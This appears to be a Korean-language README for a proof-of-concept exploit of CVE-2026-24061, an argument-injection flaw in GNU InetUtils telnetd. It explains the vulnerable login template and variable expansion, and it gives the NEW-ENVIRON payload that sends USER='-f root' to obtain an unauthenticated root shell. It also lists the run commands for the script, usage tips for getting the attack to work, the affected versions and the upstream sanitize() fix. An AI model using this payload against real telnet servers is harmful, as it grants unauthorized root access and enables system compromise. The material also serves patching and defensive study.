
CVE-2026-24061에 대한 개념 증명 익스플로잇으로, USER 환경 변수의 인자 주입을 통한 telnetd 인증 우회로 인증 없이 루트 셸에 접근할 수 있게 합니다.
GNU InetUtils의 telnetd에서 발생하는 argument injection 취약점입니다. 영향받는 버전은 1.9.3부터 2.7까지이며, CVSS 점수는 9.8입니다. 2026년 1월 26일부터 CISA KEV 목록에 등재되어 실제 야생에서 활발히 악용되고 있습니다.
핵심 트릭은 telnetd가 NEW-ENVIRON(RFC 1572)을 통해 클라이언트로부터 환경 변수 USER 값을 받아 검증 없이 그대로 login(1) 호출에 삽입한다는 점입니다. 클라이언트가 USER="-f root"를 보내면 telnetd는 다음 명령을 실행합니다:
/usr/bin/login -p -h <host> -f root
login의 -f 플래그는 "비밀번호 없이 해당 사용자로 로그인"을 의미합니다. 루트 셸 획득, 인증 절차 완전 무시.
telnetd/telnetd.c에 login 호출 템플릿이 있습니다:
char *login_invocation = PATH_LOGIN " -p -h %h %?u{-f %u}{%U}";
%u는 telnet 인증(신뢰됨)을 통과한 사용자입니다. %U는 클라이언트가 보낸 env USER의 원본 값(신뢰되지 않음)입니다. 인증이 비활성화된 경우 %U가 사용됩니다.
변수 확장은 telnetd/utility.c의 _var_short_name 함수에 있습니다:
case 'U':
return getenv("USER") ? xstrdup(getenv("USER")) : xstrdup("");
필터링이 전혀 없습니다. 클라이언트가 USER에 보내는 모든 값이 login 명령줄로 그대로 전달됩니다. -f root만 가능한 것이 아니라, 이론적으로 login이 수용하는 모든 인자를 주입할 수 있습니다.
이 버그는 2015-03-19의 업스트림 안전장치 커밋(fa3245ac)에서 도입되었습니다. 아이러니하게도 이 커밋은 USER 변수 처리를 개선하기 위한 것이었습니다. Debian은 2019년에 이에 대한 패치(0028-telnetd-Scrub-USER-from-environment.patch)를 보유했지만, Debian 10에서 CVE-2020-10188 수정 과정에서 패치가 유실되어 버그가 재발했습니다. 따라서 Debian 10+, Ubuntu 및 파생 배포판도 취약합니다.
main.py는 최소한의 telnet 클라이언트로 다음을 수행합니다:
IAC SB NEW_ENVIRON IS VAR "USER" VALUE "-f root" IAC SE로 응답login -f root를 실행하여 셸 획득클라이언트 서버
|--- tcp connect ------------------->|
|<-- IAC DO NEW_ENVIRON -------------|
|--- IAC WILL NEW_ENVIRON ---------->|
|<-- IAC SB NEW_ENVIRON SEND --------|
|--- SB NEW_ENVIRON IS |
| VAR "USER" VALUE "-f root" |
| IAC SE ------------------------>|
| [telnetd: login -p -h x -f root]|
|<-- root@host:~# ------------------|
python3 main.py <host>
python3 main.py <host> -p <port>
Ctrl+C로 세션을 종료합니다.
inetutils-telnetd가 설치되지 않은 시스템에서는 시도하지 마세요. netkit의 telnetd 패키지는 다른 코드로, 이 특정 버그에 취약하지 않습니다. 연결했는데 셸 대신 일반 login 프롬프트가 표시된다면 서버에 이미 패치가 적용되었거나 inetutils telnetd가 아닌 것입니다.
payload를 -f <다른_사용자>로 변경해 모든 시스템에서 동작할 것이라 기대하지 마세요. 일부 배포판의 login(1)은 -f에 추가 제한이 있습니다. 표준 Debian/Ubuntu에서는 -f root가 문제없이 동작합니다.
| 소프트웨어 | 버전 |
|---|---|
| GNU InetUtils | 1.9.3 - 2.7 |
| Debian 10+ | inetutils-telnetd (패치 적용 전) |
| Debian 11 | 2:2.0-1+deb11u3에서 수정됨 |
| Ubuntu | inetutils-telnetd (패치 적용 전) |
공식 수정은 -로 시작하거나 셸 메타문자를 포함하는 값을 거부하는 sanitize() 함수를 추가합니다. USER뿐만 아니라 확장 과정의 모든 변수에 적용됩니다.
static char *
sanitize (const char *u)
{
if (u && *u != '-' && !u[strcspn(u, "\t\n !\"#$&'()*;<=>?[\\^`{|}~")])
return u;
else
return "";
}
fd702c0 - USER 패치ccba9f7 - 모든 변수 검증